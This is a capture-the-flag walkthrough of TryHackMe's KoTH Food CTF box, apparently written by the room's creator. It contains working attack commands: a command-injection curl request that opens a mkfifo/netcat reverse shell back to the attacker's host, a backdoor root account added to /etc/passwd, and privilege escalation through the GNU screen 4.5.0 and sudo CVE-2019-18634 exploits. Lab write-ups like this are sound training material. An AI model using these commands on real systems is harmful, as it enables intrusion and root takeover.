THM - KoTH Food CTF

Check it out at TryHackMe KoTH Food CTF

Room created by me, TryHackMe profile

One of the first five KoTH boxes, foodCTF was the first challenge that I created for TryHackMe. This writeup is for the patched version, as the initial version had some small issues.

Enumeration

An initial nmap scan reveals several open ports, however with ctf style boxes it's always worth scanning all ports to see

root@ninja:~# nmap -sV 10.10.149.17
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 20:20 BST
Nmap scan report for 10.10.149.17
Host is up (0.026s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.7.29-0ubuntu0.18.04.1
9999/tcp open  abyss?
1 service unrecognized despite returning data.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.70 seconds

From the initial nmap scan, we only see 3 services.

The service running on 9999 is part of the infrastructure for king of the hill, and therefore not an attack vector.

SSH is off limits, as we don't have creds. This just leaves MySQL. We'll come back to this.

Running a full nmap scan, with the -p-, we see a few more ports open

root@ninja:~# nmap -sV 10.10.149.17 -p-
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 20:59 BST
Nmap scan report for 10.10.149.17
Host is up (0.033s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
3306/tcp  open  mysql   MySQL 5.7.29-0ubuntu0.18.04.1
9999/tcp  open  abyss?
15065/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
16109/tcp open  unknown
46969/tcp open  telnet  Linux telnetd
2 services unrecognized despite returning data.

Initial Access

The HTTP server seems quite interesting, we'll check this out first. Navigating to the page, we're greeted with a message saying that the page is down. As hackers, we should never take this at face value. Time to break out gobuster and see if we can find anything else on that server.

Message stating the site is down.
root@ninja:~# gobuster dir -u http://10.10.149.17:15065/ -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.149.17:15065/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/05/02 21:20:53 Starting gobuster
===============================================================
/monitor (Status: 301)
===============================================================
2020/05/02 21:21:30 Finished
===============================================================
The more polished interface, showing a 'ping host' box.

So on /monitor, we see a slightly more polished GUI. From a few other challenges, "Ping host" can often be a route for command injection. Let's try chaining commands in the text box.

The site after attempting to chain commands, showing that IP addresses are validated

Aww, it's not going to let us in that easily. It's trying to validate the IP address we enter somewhere. Let's check out what it's doing behind the scenes by reading the JS.

Screenshot of the obfuscated javascript code

The JS is obfuscated, and I don't fancy deobfuscating it. So let's see what it's actually doing if we put in a valid IP address. Opening the browser dev tools, we can track the HTTP requests that the page makes

Screenshot of firefox dev tools showing the HTTP request that was made

Interesting, we can see a POST request to /api/cmd with the body: "ping -c 4 10.8.0.1". That implies that the command is being formed clientside, let's try running our own commands with cURL!

root@ninja:~# curl 10.10.149.17:15065/api/cmd -X POST -d "ls -lah"
total 7.8M
drwxr-xr-x 6 bread bread 4.0K Apr  6 20:21 .
drwxr-xr-x 7 root  root  4.0K Mar 28 01:49 ..
-rw------- 1 bread bread    5 Apr  6 20:21 .bash_history
-rw-r--r-- 1 bread bread  220 Mar 20 23:34 .bash_logout
-rw-r--r-- 1 bread bread 3.7K Mar 20 23:34 .bashrc
drwx------ 2 bread bread 4.0K Mar 20 23:42 .cache
----r--r-- 1 bread bread   38 Mar 28 01:24 flag
drwx------ 3 bread bread 4.0K Mar 20 23:42 .gnupg
drwxrwxr-x 3 bread bread 4.0K Mar 20 23:48 .local
-rwxrwxr-x 1 bread bread 7.7M Apr  6 17:58 main
-rw-rw-r-- 1 bread bread 1.5K Apr  6 17:58 main.go
-rw-r--r-- 1 bread bread  825 Mar 28 00:56 .profile
drwxrwxr-x 3 bread bread 4.0K Apr  6 20:18 resources

We have command injection, nice. Let's spawn a quick revshell to get slightly better access to the box.

root@ninja:~# curl 10.10.149.17:15065/api/cmd -X POST -d 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.8.6.110 4242 >/tmp/f'
root@ninja:~# nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.8.6.110] from (UNKNOWN) [10.10.149.17] 50316
bash: cannot set terminal process group (703): Inappropriate ioctl for device
bash: no job control in this shell
bread@foodctf:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'   
python3 -c 'import pty; pty.spawn("/bin/bash")'
bread@foodctf:~$ 

This is a KoTH box. We shouldn't stop at one entry point. Let's explore MySQL next. I wonder if the default creds (root:root for old versions) will work for it...

root@ninja:~# mysql -h 10.10.149.17 -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 
    

Time to manually enumerate the databases and tables. Knowing how to do this is quite useful

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| users              |
+--------------------+
MySQL [(none)]> use users;
Database changed
MySQL [users]> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| User            |
+-----------------+
MySQL [users]> select * from User;
+----------+---------------------------------------+
| username | password                              |
+----------+---------------------------------------+
| ramen    | PASSWORD REDACTED                     |
| flag     | FLAG REDACTED                         |
+----------+---------------------------------------+

Now we have creds, let's try them for SSH.

root@ninja:~# ssh ramen@10.10.149.17
ramen@10.10.149.17's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

ramen@foodctf:~$ sudo -l
[sudo] password for ramen: ***************               
Sorry, user ramen may not run sudo on foodctf.

We're in!. Now enumerating permissions randomly, we notice that we get asterisks when entering our password for sudo. This isn't standard behaviour on Ubuntu. We'll come back to this.

We're running out of ports to look at. Let's try the one that's next up numerically, 16109. Nmap had no idea for this one, so let's try netcatting it. Netcat is a great way to interact with services at a lower level, skipping browsers and clients.

root@ninja:~# nc 10.10.149.17 16109
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request

So it's a webserver. Let's try curl and see what that does.

root@ninja:~# curl 10.10.149.17:16109
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: " to save to a file.
root@ninja:~# curl 10.10.149.17:16109 --output file16109
    % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                    Dload  Upload   Total   Spent    Left  Speed
100  372k    0  372k    0     0  2758k      0 --:--:-- --:--:-- --:--:-- 2758k
root@ninja:~# file file16109 
file16109: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1350x900, components 3

Seeing as we got a warning that it was binary data, we can assume it's serving something interesting. The "file" command tells us it's JPG data. Let's look at the image and see if that helps.

Picture of delicious looking food found on port 16109

Well, it's a picture of some nice looking food. Not really what you'd expect in a CTF. Maybe there's more to it? Let's run binwalk and then stegoveritas and see.

Binwalk found some Gzip data at the end, interesting. Let's check that out first.

#
root@ninja:~# binwalk -e 16109.jpg
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
381172        0x5D0F4         gzip compressed data, from Unix, last modified: 2020-03-19 23:53:20 
root@ninja:~# cd _16109.jpg.extracted/
root@ninja:~/_16109.jpg.extracted# binwalk -e 5D0F4.gz 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             POSIX tar archive (GNU), owner user name: "t"
root@ninja:~/_16109.jpg.extracted# cd _5D0F4.gz.extracted/
root@ninja:~/_16109.jpg.extracted/_5D0F4.gz.extracted# ls
0.tar  creds.txt
root@ninja:~/_16109.jpg.extracted/_5D0F4.gz.extracted# cat creds.txt
pasta:REDACTED

More creds!

In the background, stegoveritas found some steghidden data. We should check that out.

root@ninja:~# cd results/
root@ninja:~/results# file steghide_690338949d3501d285a8ea4500db1147.bin 
steghide_690338949d3501d285a8ea4500db1147.bin: ASCII text
root@ninja:~/results# cat steghide_690338949d3501d285a8ea4500db1147.bin 
pasta:REDACTED

Same creds again. I guess the creator wanted to make sure people could find them even if they didn't know steg.

I guess we should test those creds then, via SSH.

root@ninja:~/results# ssh pasta@10.10.149.17
pasta@10.10.149.17's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
pasta@foodctf:~$ sudo -l
[sudo] password for pasta:               
Sorry, user pasta may not run sudo on foodctf.

Still no sudo, but we have another method of access.

I wonder what that last port has to offer. Nmap picked it up as telnet, so let's try telnetting into it.

root@ninja:~/results# telnet 10.10.149.17 46969
Trying 10.10.149.17...
Connected to 10.10.149.17.
Escape character is '^]'.
tccr:uwjsasqccywsg
foodctf login: 

That's a fairly strange greeting. I wonder if it's ROT13 encoded? Nope. But maybe it's a different rotation? Playing around until you find something that looks about right, we get even more creds! (food:PASSWORD REDACTED)

PrivEsc(s)

With all of the ports explored, I think we need to try and get a root shell. None of the users so far had sudo, so let's look for other vectors. A really excellent resource for this is available here PayloadsAllTheThings Linux Privilege Escalation. First, SUID binaries.

pasta@foodctf:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/vim.basic
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/screen-4.5.0
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/telnetlogin
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/snap/core/7270/bin/mount
/snap/core/7270/bin/ping
/snap/core/7270/bin/ping6
/snap/core/7270/bin/su
/snap/core/7270/bin/umount
/snap/core/7270/usr/bin/chfn
/snap/core/7270/usr/bin/chsh
/snap/core/7270/usr/bin/gpasswd
/snap/core/7270/usr/bin/newgrp
/snap/core/7270/usr/bin/passwd
/snap/core/7270/usr/bin/sudo
/snap/core/7270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7270/usr/lib/openssh/ssh-keysign
/snap/core/7270/usr/lib/snapd/snap-confine
/snap/core/7270/usr/sbin/pppd
/snap/core/8689/bin/mount
/snap/core/8689/bin/ping
/snap/core/8689/bin/ping6
/snap/core/8689/bin/su
/snap/core/8689/bin/umount
/snap/core/8689/usr/bin/chfn
/snap/core/8689/usr/bin/chsh
/snap/core/8689/usr/bin/gpasswd
/snap/core/8689/usr/bin/newgrp
/snap/core/8689/usr/bin/passwd
/snap/core/8689/usr/bin/sudo
/snap/core/8689/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8689/usr/lib/openssh/ssh-keysign
/snap/core/8689/usr/lib/snapd/snap-confine
/snap/core/8689/usr/sbin/pppd

We have some unusual SUID binaries there. "/usr/bin/screen-4.5.0" implies that it was installed manually rather than with apt. "/usr/bin/vim.basic" is also probably interesting. Searching exploitdb, we find https://www.exploit-db.com/exploits/41154 so let's download and transfer this and run it.

pasta@foodctf:~$ nano 41154.sh
pasta@foodctf:~$ chmod +x 41154.sh 
pasta@foodctf:~$ ./41154.sh 
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’; did you mean ‘chroot’? [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^~~~~
     chroot
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
     setuid(0);
     ^~~~~~
     setbuf
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
     setgid(0);
     ^~~~~~
     setbuf
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
     seteuid(0);
     ^~~~~~~
     setbuf
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
     setegid(0);
     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^~~~~~
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-pasta.

# whoami
root

Now, vim. Spawning a shell from Vim doesn't give us a root shell, even though Vim is running as root. So let's try something slightly different. Let's make a backdoor user.

pasta@foodctf:~$ vim /etc/passwd
pasta@foodctf:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
tryhackme:x:1000:1000:thm:/home/tryhackme:/bin/bash
telnetd:x:111:113::/nonexistent:/usr/sbin/nologin
food:x:1001:1001:,,,:/home/food:/bin/bash
mysql:x:112:114:MySQL Server,,,:/nonexistent:/bin/false
pasta:x:1002:1002:,,,:/home/pasta:/bin/bash
ramen:x:1003:1003:,,,:/home/ramen:/bin/bash
bread:x:1004:1004:,,,:/home/bread:/bin/bash
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
pasta@foodctf:~$ su hacker
Password: 
root@foodctf:/home/pasta# 
    

One more privesc. We noticed earlier that we got asterisks when entering our password for Sudo. There was a recent CVE (2019-18634) that affects sudo when this option is configured. The option is called PWFEEDBACK, and an exploit PoC is available here Github saleemrashid - Sudo CVE-2019-18634

Let's compile this from Kali and copy over the binary, then run it!

root@ninja:~/Documents# git clone 'https://github.com/saleemrashid/sudo-cve-2019-18634'
Cloning into 'sudo-cve-2019-18634'...
Unpacking objects: 100% (24/24), done.
root@ninja:~/Documents# cd sudo-cve-2019-18634/
root@ninja:~/Documents/sudo-cve-2019-18634# ls
exploit.c  LICENSE  Makefile  README.md
root@ninja:~/Documents/sudo-cve-2019-18634# make
cc -Os -g3 -std=c99 -Wall -Wextra -Wpedantic -static -o exploit exploit.c
root@ninja:~/Documents/sudo-cve-2019-18634# ls
exploit  exploit.c  LICENSE  Makefile  README.md 
root@ninja:~/Documents/sudo-cve-2019-18634# scp /root/Documents/sudo-cve-2019-18634/exploit pasta@10.10.149.17:/home/pasta/exploit
pasta@10.10.149.17's password: 
exploit 100%  881KB 805.9KB/s   00:01    
root@ninja:~/Documents/sudo-cve-2019-18634# ssh pasta@10.10.149.17
pasta@10.10.149.17's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
pasta@foodctf:~$ ls
41154.sh  exploit
pasta@foodctf:~$ chmod +x exploit 
pasta@foodctf:~$ ./exploit
[sudo] password for pasta: 
Sorry, try again.
# whoami
root

This exploit works even for users that can't run any commands with sudo, which makes it one of my favourites. You get a root shell, because the "sudo" binary runs as root due to suid.

That's all you need, other than finding the flags. I won't reveal the locations of those, that's down to you to find. Hope you've enjoyed, or at least learnt something.